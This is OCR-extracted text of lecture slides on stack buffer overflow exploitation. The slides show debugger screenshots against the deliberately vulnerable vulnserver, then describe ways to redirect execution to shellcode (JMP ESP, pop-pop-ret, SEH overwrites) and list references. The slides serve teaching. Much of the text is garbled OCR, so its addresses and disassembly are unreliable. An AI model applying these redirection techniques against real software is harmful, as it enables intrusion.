CPU - main thread, module ntdll

=

23

7 rEDBEEEA
7 rEOEEAL
FTEDOBAS
FrEDQEEZ
TrEOEEAD
TrEOEEER
7 TEOEEAE
TrEDGBAC
7rEOEEED
7 FEOEEAE
TrEOEEAF
TrEDGE1E
FrEDGE14

TrEOEE 1R
FrEDEE1F
FrEDQE24
TrEOEEZT
TTEOEEZS
TrEOBEZF
FrEDEE S
7rEOEE2E
TrEDEEZ0
TrEOEE4E
TTEDOE4E
TrEOEE4T
TTEOEE4E
TrEOEE40
TTEDBBES
FrEDEEEA
7rEOEEED
TrEOEESD
FrEDOBLZ

TTEOEELS

2B4424 @4
cC

8488
C

98
SB4C24 B4
Fod4l @4 8o

74 B85

ES 41108186

ES B1800880

C2 le@g

202424 DCEZEEHE
64; SEAD DEABEDE
EA

2982

2956 @4

gg:na BEEEEE0E
a07Cz24 ac

FFDE
SESF_CCazaoEn
64: 5960 BROBEA0
el B1

E7
ES ZEFE@BEE
SEBFE

MOU ER:, DWORD PTR S5: [ESP+41

SEErs

Ba4E1 1
BEEEE )
BEEEG AN
TEFDE&
BEZSFF

@ Found commands

Hop :
MW ECH, DUORD PTR S5: E{ Address |Disassenbly

TEST EYTE PTR DS:[ECH+4| FFEDAGEA|FMOLER:, DWORD PTR SS: CESP+4]

JE SHORT ntdll.rFEDBELIF JHP

MO ERH, 1

RETH 1@

MHOP
ERX, DWORD FTR SS: LE:
ECH, DWORD FTR FS: [
EDH, ntdl L. FrEDGELE
CWORD PTR DS:CEAX],
CWORD FTR DS: [CERR+d

ESF
CALL ntdll.ZwTestAlert FrCIF11S| JHP ESP

il
DWORD FTR FS:[@1,ERX
F ER:
LEA EDI,DWNORD PTR S5: [ESP+C]
CALL ERX
MO ECx, DWORD PTR DS: CEOI+2CC]
HOY DWORD FTR F3:[@1,ECH
PUSH 1
PUSH EDI
CALL ntdll.ZwContinue
MO EST, EAX

Address
BEEZEEE
BE4EZELE
BE4EIEZE
BE4E3E 38
BE4EIELE
BEEIASE
BE4EIALE

Hen dum
FF
FF FF FF FF

FF
14
i

i)
[505)

BEZEFFF4
BE22FFFS
BAZEFFFC

BERAEEEE
GEdE] 1
BEBAGEGE
BEGAGEGE

SWoWEd~EFLR
EwowEdISE_
swowsd~KERM
ST =E R =
Swowsdkern
sW0WES s ech
=hOlEd~ntdL

uze Shift+F7/F8/F9 to pase exception to program

| Fauged

N
\

N

) | @k | s

SN
B @ tgeP o @ M & 0 & @ Right ctrl

File Machine View Input Devices Help
Appli. v Places~ [ Termi.. v+ Sat 11:06

root@kali: ~
File Edit View Search Terminal Help

vi buff2.py

python buff2.py

by &0 @ i 3 @3 right ctrl




Black Box Exploitation Example

Activities Sat 20:36 e

File Machine View Input Devices Help e Machine View Input Devices Help
* OllyDbg - vulnserver.exe Appl_“_ » Places E' Tern + Satll
File View Debug Plugins Options Window Help .
=TT = root@kali: ~
B x] w0 s g4 A ] L] E[M[T|w[H|Cc]/]|K[B[R]...
File Edit View Search Terminal Help

#
# vi buff2.py
CPU - main thread, module ntdll = | 2 # -
EE4424 04 TIOU_ERR,DWORD PTR 55: LESP+a] ste :~# python buff2.py
e INTZ FoEa011

a46g RETH 4
B INT2

FEFDEG
FPEDGGER RETH T ]

PPEDBEEE
o i
FPEOREEE HOP @ Found commands
77EDBERFE| 98 HOP -
FPEDBG1E| SB4C24 @4 HoU EC,DWORD FTR S5:CE{ Address |Disassenbly
FE4i B4 B TEST EYTE PTR DS: [ECH+4| FrEDBEBE| HOU EFR, DWORD PTR 55: [ESF+4]
A "E2 41106160 CELEHDRLT?[T['??E?BMF e

nt CwlestHlert z =
FPEDBEIF| ES 0lEEGEBE AL EAX, 1 Follow in Disassembler
FPEDRGZ4| CZ2 1088 RETH 18
7FEDBEZ?| 98 HOP .
FPEDREES| SOS42d DCBZEEEES|LER ERX,DWORD TR S5: [E Toggle breakpoint
& et

cntdll. it i i

FrEOGOGRSE| 2oEE OWORD PTR DSt CEART, Conditional breakpoint Shift+F2
FPEDOGE0| S95@8 B4 10U DWORD PTR DSt LEAX+4 L - ) )
FPEOARAE| 641A3 OPAGEAOE OWORD PTR FS: 081, EAX Conditional log breakpoint Shift+F4
PPEDBRE| 58 POF ERY
PPEDGGAT| BO7CE4 BC LEA ECI,OWORD FTR S5: [ESF .
FrEDBE4E| FFD@ CALL _EAX Set breakpoint on every command
7PEDBEAD| SBSF CCA2880@  |MOU ECH,DWORD PTR DS:[ED]
FPEDAGEE| E4:2960 @RPOEES|MOU OWORD PTR FS:0@]1,ECK
FPEDBEEA| &A1 PUSH 1
PPEDBEEC| 57 PUSH EDI )
FPEOOESD| ES 2EFEGGEE CALL ntdll.ZwContinue Remave all breakpoints
PPEDGGEZ| SEFE HoU ESI,EAX

Set log breakpoint on every command

Copy to clipboard

Appearance

Male =l g e - U S S — —
s i 5 g =)
Baancain| FF BEZSFFFS| COEEDEGG
BR4E2A1E| FF

BEGESEZE | FF BEZEFFFC| BEOAEEGHE
BA4E3A3E| B8
BE403040| A8
BE4EIECE | aE
BE4EIACE | BE

uze Shift+F7/F8/F to pass exception to program | Pauzed

[ @T% 1] e

@ g @ @ & 3 @ [® Right ctrl

n



Black Box Exploitation Example

Activities Sat 20:37 e

File Machine View Input Devices Help File Machine View Input Devices Help

& OllyDbg - vulnserver.exe Appl v Places v [J Termi.. = Sat 1l

File View Debug Plugins Options Window Help t@kali:
‘Bl x] »[n] s+ HG A -+ LiE[M[T|[wH[c]/[k[B[R]-[s] Z[F2] root@kali: ~

File Edit View Search Terminal Help

~#
:~#

# vi buff2.py
#

[€] cpu - ] .
Breakpoints

BE4E1 128 . i . .

AE4E1 121 Address | Module Aot ive Disassembly

aE4a1123) | BE4A1136] v lnsery| One—shot FUSH EEP

aEd4Ell2e) | (PPEDEEEE| ntdl L Alwans MO ERH, DWORD PTR S5: LESP+4]

BE4E1 120 FFEBEDIEZ| ntdll Always JHMP ESP

BEd4E1 1432

BE4E1 143

aE4e1143

Boag1 151

B @ Found commands

aa4a1154 Address |Disassembly Comment

e MO ER, OWORD PTR 55: [ESP+41 TInitial CPU e lect lan

JHPESP

AB4G115C

Apam11EE 7rCIF11S| JMP ESP

B5461 163

AG4G1 165

aE46116A| ~72 4B

A54a1 160 > BE @1AGEGEE

QE4Gii7il > CP4424 84 oA

A34G1173 | CPE424 ASEEA

i) | Eogaygeees
. LITF EHAL T

GE461158) ~BFS4 FFOBAEEE| JE wilnsery, BO461280 ERoueISE

BE4E115E| . SECE TEST EHX, EAX T EdlET

AE4E1196| -~ BFEE ARBEEEEE| JHZ uu lnsery. BE4E1248 ek

Goipiiss| 3 3364 14 |ADD EoR 4 e seon

oE4a11%6| . 5B FiOF EER LR

af4G11ac) | ED POP EEP

a54a1150( , C2 4@ RETN 4

AA4G11A6| > 30 94AABGCE | CHP EAX, CABARES4

python buff2.py

Address | Hex durm BERAEEEE

BE4EIEEE| FF HE22FFF4| GE4E112
BEZEFFFS| BEEAEEEE

BE4E2E1E| FF FF FF FF @@ @8 @8 88| FF FF FF FF| @@ B AEFSFFFC| PODREEHG

BE4E3E2E| FF

AE4E3H3E( B0

BE4EIE4E| B8

BE4EIEEE| B8

BE4EIEGE| B8

uze Shift+F7/F8/F9 to pase exception to program | Pauged

3 alE e i
| B0 %P 5 =@ 0GR right ctrl Re o @il 0 O Right ctrl

W



Black Box Exploitation Example

Sat 20:38 @

File Machine View Input Devices Help File Machine View Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] =0 | e Appli.. L E Termi...
@ File View Debug Plugins Options  Window Help

PHTHITIES JJJT|W|H|C|!'|K|B|R|WJ buff4.py (~) - VIM

BEAG1136 FUSH_EEF cters (30NHowt) File Edit View Search Terminal Help
rill EBF, ESP e

83EC 13 3 BEAREEGG

. Crp424 B1e@eel MOV DWORD PTR SS:[ESPI, 1 HHRAERE
. FFIE &CE14006| CALL DWORD PTR OS: [<&mSwert._ set_appit— | aaaootan
ES DSFEFFFF | CALL wulnserv. 9A461628 BOEAFET

28 HOP
. E0B42& BEBAGEI LEA ESI,DWORD PTR DS: [ESI] QEEEESSS
EE Fi EEF

. 15H
. 83ES HMOU EEF, ESP EEZ8hHSS
3 PLSH_EEH PPEDFCEE] ntd| . PPEOFCE2

B3EC 14 SUE ESP, 14 -
1 ZBac @ MOU EA,DWORD PTR S5:[EBP+21 s Bl (A AAArE]

. EEed MU ER,DWORD FTR DS:LEAR] '

. 2Eoa HOU EA, DWIRD FTR D3: CEAX] EEn EEOlD [iatAAaAC)
GBEZE SZbit @(FFFFFFFE)

- 90°gieeeoce | CHP ER, CeGagos] oher] EEole EAaaAdaA

R S s e e LI BEZE 3Zbit BCFFFFFFFF) host

%6 Doceaca | S Ea, cosngh =

S e ﬁBUSHURT v (rEern R LastErr ERROF_SUCCESS (90A0220@) port

B1 aE0 0 ]

» C74424 B4 @Ea0MOY DWORD PTR SS5: [ESP+41,8 BEEaEza2 (MO, NE,NE,A, NS, FO, GE, 5]
. CrEd424 GEBA0A| MOY DWORD FTR SS:[ESFI, 2 B.a
. ES 231Ce@ea | CALL <JHMP.&msuvcrt. Slgnal) =N
S3FS a1 CHP EAX, 1 ‘o
~BF34 FFE@OEEE| JE uuilniery. AA4E1290 ‘o
SECA TEST ERx, ERAR B:
G,

o,

-8,

=
=

# T7BEL

buffer

S
0 (0 ) O

Hew dump SSESEEQE ;EEEESSE RETURN to kernel32.
PREEFFad| EOBESFFDG = ket.socket(socket.AF INET, socket.SOCK STREAM)
BazEFF2s|| 7FEFS0T2| RETURN to ntdlL.7FE ) } ‘Qt t) ) - -

gaz2FF2c| | FEFDERaE 3 | '|O rt))
aazsFFAe|| FeoesEFz
aazaFFad| | saeaceas
aazaFFas| | easeceas
gazeFFAC|| PEFOEREE
aazcrres| | pasacaas

BAREEAAG
BEZEFFEC| | BAZSFFAR
BEZEFFCA| ] BREEEEAE

BEZEFFC4|] FFFFFFFF|End of SEH chain
TrC38410( SE handler
BEEAITFE
BREEEEAE
LEAZZFFEC

BBEBFFDB TTBFO045( RETURH to ntdll.7vE
BE2ZFFOC| @8481138) vu lnserv. Modu LeEnt
BEZEFFER| FEFDESEE
BEZEFFE4| BREEEEAE
BEZSFFES| GREEEEaE
BEZEFFEC| AAGGHEAE
BEZEFFFE
BEZEFFF4| @046811268) vy lnsery. {Modu leEnt
BEZEFFFE| FEFDEBAE
AEZSFFFC| AABREEAER

Module C:\wWindowshsyswowB4 M SCTE il | Running

@ e . C ‘ @ H :* H | | ) "buffd.py" 18L, 325C |
A LANNRARARRR QORY S IEHE DGR right ctrl —@ g & @il @ @@ Right ctrl




Black Box Exploitation Example

Activities Sat 20:39 e

File Machine View Input Devices Help View Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - thread 0000D55C, module ntdll] B || Appli... E Termi...
@ File View Debug Plugins Options Window Help kS

Slelx] »ln] s+ $0) A+ blein|x]wislcls K5I R).)s] 2] root@kal

TF ESF =ters (30Nowt) File Edit View Search Terminal Help
CHF _EEP, EAX B2o0F2e8 ASCIT PTRUN /.:/nnnnnnnnnnnnnnp
JA_SHORT ntdll.77PEEDIER SeaFeeis
CHMP EEP,ER: BEGERREE
Jﬂ SHDRT ntdll.7FEED140 BEERRETC
o B230FSEA ASCIT "COCCCCCOCCCCCOOCGECCDEE]
HOP 41414141

EREEAEEE
L []a]5]u]s 5 ]]x)

© DWORD FTR OS: [EAX] PPEEDIEY ntdll.7FEEDIES

e EYTE PTR DS: LEAXT, AL f
FFFFFFEe BYTE PTR DS: CEAX+FFFFFFI,EBH A008 - oh (YO IRERRERER]
£ SIS | (1B R GEZE 3Ehin o FFFFFEFF]
' BEZE 3Zbit BLFFFFFEFE]
CALL ESI @ES2 22hit PEFDRBEECFFF)
CHF AL, CH ABZE 3Zbit BIFFFFFFFF)
o SHORT nvdl 1. PPEEDLCA LastErr ERROR_SUCCESS (90008200)

Jﬂ SHGRT ntdll.77BED1ED baGAEZ4E (MO,.ME,E,BE,HS,.FE, GE.LE)

NDP

MOP

e

FFEEDIEL Y -
—=

ESP=EZ30F2EE, (ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOCoiCoriror

=

0D (0 5N (50 5D 30

floalal oot
0D (0 (5D D

D [RElas] 42424242
Het i 424242432

DF9E4
BZ30FIES| 43434343
B230F3EC| 424343243
GESDFare| 43434540
gg:ggggg B230F3IFS| 43434343
BE4ESEEE B230F3FC| 434343243
andasos G5i0rR0d| 43434045
oo aan BZES0FABS| 43424343
B230FABC| 43434343
B230FALE( 42424242
BZI0FA14| 43424242
BZS0FAL1S| 434243432
BZ30FALIC| 43434343
B230FAZE( 42434242
B2I0FA24| 43424242
BZE0FAZE| 43424343
BZ30FAZC| 43434343
B230FASE| 434343243
B230FAS4| 42424242
B2I0FA22| 43424242
BZ30FASC| 43434343
B230FA4E( 43434343
B230FA44( 42424242
B2I0FA42| 43424242
BZS0FA4C) 43424343
BZS0FASA| 43434343

ADIEIm) -

B@ L @ EEE T @ ® Rright ctrl

| Fausged




Black Box Exploitation Example

Activities Sat 20:39 @

-

~ File Machine WView Input Devices Help le Machine View Input Devices Help
3 OllyDbg - vulnserver.exe - [CPU - thread 0000D55C, module ntdll] = | ) : B Termi.. = 109
@ File View Debug Plugins Options Window Help == t@kali
e e — roo ali: ~
4| 4 +f vjE[MT|wH|[c|/|K|B|R|.|s| =[E]?]
JHPESP » [Reaisters (FPUI < File Edit View Search Terminal Help
SEPSEEE+EQX ERY Bea0Fz@@ ASCIT "TRUN . 1 ~ARARARRAARRARRAAAAAAH "
ntdll.PPEEDLEE Bt BBSFEECA ~
CHF _EBF, ER ED} BEEEEECE
JA SHORT ntdll.7PEEDL4D EEY BonamaTT
ok ESF B230F9ER ASCID "CCCCCCCECCOOCCCCCCCCCCCEEDnD ) N )
ok EEP 41414141 thon buff4.py
Hop ES] GO0BRE0A
6 EDI GO00GEGE
IFC DWORD FTR DS: [EAX] EIF | F7EEDIES ntdll.77EEDLES
a ADD BVTE FTR DS:LEART, AL .
FFFFFFBA  |AOD EVIE FTR DS:[EAw+FFFrFrl,E |5 % E3 DO2B 3gbit GCPRFFRERR)
a D [, PUR ERL LG A @ S5 BEZE 22bit BIFFFFFFFF
AOO OH, Z 1 DS BB2E 32bit BLFFFFFFFF
0 = S @ FS BBSZ S2bit PEFDABEELFFF)
_ R T & G5 0026 32bic BCFFFFFFFF
egeL AT G Lo FHEISIEES 0 @ LastErr ERROR_SUCCESS (@BRBBRBE)
ﬁgPSHDﬁT ntdll.7FEEOLED EFL ©@00@z4e (MO, HE, E, BE, 3, PE, GE, LE)
STA empty 0.8
o ST1 erpty ©.8
W ST2 empty G@.8
20 |57 empru Gla
_FFI 5T4 empty G.@
FOER, [ASCIT "COCCLLLCCCCCCCCCCCCCCLLLDOLCCCCCCCity 518 empty .8
STé empty 0.0
STV empty 8.8
3210 ESFUDZDI
Address |Hen durp N DF 3E 0 [EEEETEEE) n
aa5E0E| FE FF FE FF| OB 40 OO G0 70 ZE 40 OF| 60 00 69 60 R
463610\ FF FF FF FF| 00 0@ 6@ BB\ FF FF FF FF| BB 88 55 0O BEADF3EC| 45454543
626 FF FF FF OFF\ B8 00 0O 05|60 BB 05 06| 03 68 05 68 G5aDFoFs| 3434040
A30| 0D DR DR BB 0O 0O OF BB BR DD 00 OF| B3 BB BB 00 )| GEOEDEDE
DE403040| BB AR DO 00| O BR BB DD HO OO DR OB DD 0O 0D DO R SR
BE403050| 60 AR 0O OO| O BR BB DE|BO OO DR OB BB 0O 0O DO ]| SEEERE
BE40S050| 08 AR GO OO OO0 OR OB DB\ BG OO DR OB BB GO 5O DO GEanrans| aa4a4o4s
BE4G5E7E| 00 B8 GO 05| 00 0O 0O DB\ G0 00 0N OO BB B8 65 GO G5aDFAe4| 3434040
BE403050| BB AR B9 05| 0D BR BB BE| 0O 00 DR OB BD 00 53 DR EEECIER | SEOEDEDE
DE403090| 60 AR OO OO O BR BB DD HO OO DR OB DD 0O 0D DO e SEEERE
BE4030A0| BB AR OO 05| O BR BB DD\ BO OO DR BB BH 0O 0O DO | SEEERE
BE4050E0| 0B AR GO OO OO0 OR OB DB\ HG OO DR OB BB BO 0O DO GEanFAid| a3434aas
BE465600| 00 B8 GO 05| 00 00 0O DB\ G0 60 0N OO BB 08 68 GO G5anFALe| 3434o40
00402000 | B8 AR 5O 05| 00 BR BB BB 0O 00 DR OB BB 00 53 DR | SEOEDERE
DE4030EG| BB AR OO 05| O BB BB DD 0O OO DR OB DD 0O 0D DD el | SR
BE4030F0| 0B AR GO 05| O 0N OB DB BO OO DR OB PR 0O 05 DO BEaDFAod| 43434045
GE465100| 08 B8 GO 05| 00 00 0O DB\ GG 60 0N OO BB B8 65 GO G5aDFAzs| 3434040
BE402110| B8 AR 5O 05| 00 OR 0B BB 0O 00 DR OB BE 00 53 DR R SEOEDERE
BE40Z120| 60 AR OO 00| O BB BB DD HO OO DR OB DD 0O 0D DO e | SR
BE403130| 60 AR 5O 05| O BR BB DD\ BO OO DR BB BH 0O 0O DO ]| SEEERE
BE405140(| 08 AR GO OO 00 OR OB DB\ HG OO DR OB BB BO 5O DR GEanFRas| a34a4ods
BE462150| 00 B0 GO 05| 00 0O 0O DB\ GG G0 0N OO BB B8 65 GO G5aDFAae| 3434040
BE402150| 08 AR 0O 05| 0D B 0B BB 0O 00 DR OB BE 00 53 DR | SEOEDEDE
BE402170| 60 AR DO 00| O BR BB DD HO OO DR OB BB 0O 0D DD | SRR
BE403150| 60 AR 0O OD| O BR BR DB\ BO OO DR G| BE 0O 0O DO Tl SEELERE
BE465190| 68 AR GO OO OO0 OB OB DB\ HG OO DR OB BB GO 55 DO GEanFRas| 234344
saielse oo s onenc s oo coos |G SR -
Breakpaint at ntdll 77BED1E3 [ [Paused

=GR o

B @y & i [ @ @ Right Ctrl

B & bgeP g @ & @ [®] Right Ctrl




Jumping to Shellcode

e jump (or call) a register that points to the shellcode.

CALL

Conditions:

® A register points to shellcode.

Example:

L —

L —

. now points to where shellcode.
Pros:

e Easy to apply.
e Common instruction.

Cons:

s Mone.

hy17/ExploitDevSnippets/tree/master/Corelan s



Jumping to Shellcode

* pop return.

POP RET @@ POFP POP RET QM POP POP POP RET

Condition:

{and so on) points to address to shellcode OR directly to

followed by

will get rid of {

and now now points to shellcode.

start of shellcode.

hy17/ExploitDevSnippets/tree/master/Corelan s3



Jumping to Shellcode

* push return.

Condition:
® A register points to shellcode and can't'don’t want to use method 1.
Example:

. —3

. —+ PUSH [register], followed by

o 5t then pop itto
. now points to shellcode.
Pros:
® Easy to apply.
® [allback if method 1 can't be done.
Cons:
Mone.

hy17/ExploitDevSnippets/tree/master/Corelan sa



Jumping to Shellcode

* jmp [reg + offset].

Condition:

& A register + offset points to shellcode.

Example:

. will point to where the shellcode starts.
Pros:

® Fasy to apply.
Cons:

e [Doesn'twork if points to address to shellcode as doesn'tchange and a

won't work.

hy17/ExploitDevSnippets/tree/master/Corelan ss



Jumping to Shellcode

e blind return.

Condition:

s 5i

Example:

Shellcode is a
. put

ress at will be popped to

86




Jumping to Shellcode

* popad.

POPAD

Condition:

* Enough cont nle space to execute y times then

Example:

JMP ESP

. itwill point to where the shellcode starts.

87




Jumping to Shellcode

* Backward jumps.

Condition:

e Shellcode is located at where -128 < offset < 127.

Example:_

will execute a short JMP
. will point to where the shellcode starts.
Pros:

& Simple instruction.

¢ RBeliable, no NOP sled is needed.
Cons:

* Restricted by being a short JMP.

hy17/ExploitDevSnippets/tree/master/Corelan ss



Jumping to Shellcode

* Jump ESP.

Condition:

® Shellcode is always located at specific address.

Example:

—

Pros:
& Simple instruction.
Cons:

e Lnreliable.

® Address can't contain null bytes.

hy17/ExploitDevSnippets/tree/master/Corelan ss



Jumping to Shellcode
: Windows SEH

. Exception Registration Record.

typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTIOM_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;

} EXCEPTIOM_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

. Pointer to exception handler function.

EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
oid EstablisherFrame,
struct _CONTEXT *ContextRecord,
vold * DispatcherContext

s

90



Jumping to Shellcode
: Windows SEH

. Exception Record.

typedef struct _EXCEPTION_RECORD {

DWORD ExceptionCode;

DWORD ExceptionFlags;

struct _EXCEPTION_RECORD *ExceptionRecord;

PVOID ExceptionAddress;

DWORD MumberParameters;

DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

91



Jumping to Shellcode
; Wind_qws SEH

FS:[0] Exception List: [address]

TEB points to start of SEH chain

Exception record structure

»
\\ -
s b
» .
>

Exception Code

Establisher Flags

*Exception Record

Exception Address

# of Parameters

Exception callback function

Exception Record

>

Establisher Frame

Context Record

DispatcherContext )

The OS walks the SEH Chain and each Exception Handler
(SEH) is checked to see if it can handle the exception (by
calling the exception callback function and examining the
details found in the exception and context records). If
not, ExceptionContinueSearch is returned and it
moves to the address of the next record (pointed to by
Next SEH) and continues down the chain until it finds a

Default Handler

(end of chain)

SEH Chain
Exception Registration Record
Next SEH
SEH |

I_ Exception Registration Record IC—

N Next SEH —
| |

SEH

SEH |

Next SEH (FFFFFFFF)

SEH |

92



Jumping to Shellcode
: Windows SEH

SEH Exploit Buffer
A
junk Jmp pop+pop+ret shellcode
(Next SEH) (SEH)
Offset to Next SEH/SEH Overwrite Overwrite
overwrite next SEH SEH with
with short pop+pop+ret
jump to hop to force
over SEH execution to
and into next SEH

shellcode




Summary

Basic binary exploitation model.
— Buffer overflow.
Bypassing ASLR.

. Other stack attacks.

— Format string vulnerabilities.
~ Integer overflows.

Heap overflows.

Hardware side channels.
- Effective due to lower frequency of hardware updates.

94



Resources

“‘Return-Oriented Programming: Systems, Languages, and Applications” by
RYAN ROEMER, ERIK BUCHANAN, HOVAV SHACHAM and STEFAN
SAVAGE University of California, San Diego.

https://www.blackhat.com/presentations/bh-usa-
08/Shacham/BH US 08 Shacham Return Oriented Programming.pdf

http://shell-storm.org/talks/ROP course lecture jonathan salwan 2014.pdf

Bypassing browser memory protections in Windows Vista by A Saotirov,

M Dowd - Blackhat USA, 2008.

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-
stack-based-overflows/

95


https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf
http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
http://shell-storm.org/talks/ROP_course_lecture_jonathan_salwan_2014.pdf
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

That’s for the classes
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